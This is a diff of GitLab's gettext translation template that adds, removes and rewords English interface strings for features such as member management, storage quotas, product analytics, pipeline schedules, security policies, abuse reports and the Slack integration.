msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -26038,6 +26294,9 @@ msgstr[3] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -26047,6 +26306,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -26068,10 +26342,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -26080,9 +26354,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -26110,6 +26390,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -26137,6 +26420,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26422,10 +26711,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26485,6 +26777,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26916,6 +27211,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -27312,6 +27613,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -27336,6 +27640,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -27345,6 +27652,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -27370,24 +27680,36 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27481,6 +27803,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27611,9 +27954,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27929,9 +28269,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -28110,6 +28447,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28654,13 +29006,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28711,6 +29057,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -29142,6 +29500,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -29307,6 +29668,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29734,12 +30098,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29900,9 +30258,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -30049,12 +30404,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30586,7 +30935,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30601,6 +30950,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30613,6 +30965,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30640,6 +30995,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30658,6 +31019,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31612,9 +31976,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31672,6 +32033,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31699,7 +32063,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31714,9 +32081,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31828,6 +32192,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31840,27 +32207,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32515,6 +33083,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32734,6 +33314,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32809,9 +33392,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32983,9 +33563,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -33136,10 +33713,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -33271,6 +33848,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33895,6 +34475,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33907,6 +34505,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33943,6 +34544,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34677,6 +35281,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34944,9 +35551,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -35004,9 +35608,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -35043,6 +35644,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -36017,7 +36645,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -36394,7 +37022,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36601,6 +37229,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36625,9 +37259,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36643,6 +37274,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36652,12 +37286,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36850,9 +37508,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -37242,6 +37897,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -37263,6 +37927,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37542,7 +38209,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37605,10 +38272,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37623,6 +38290,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37692,9 +38362,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37914,9 +38581,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37944,6 +38608,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37974,9 +38641,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37995,9 +38659,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38779,6 +39440,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38996,9 +39660,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -39125,9 +39786,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -39158,6 +39816,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -39185,10 +39849,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -39200,22 +39864,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr ""
-
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
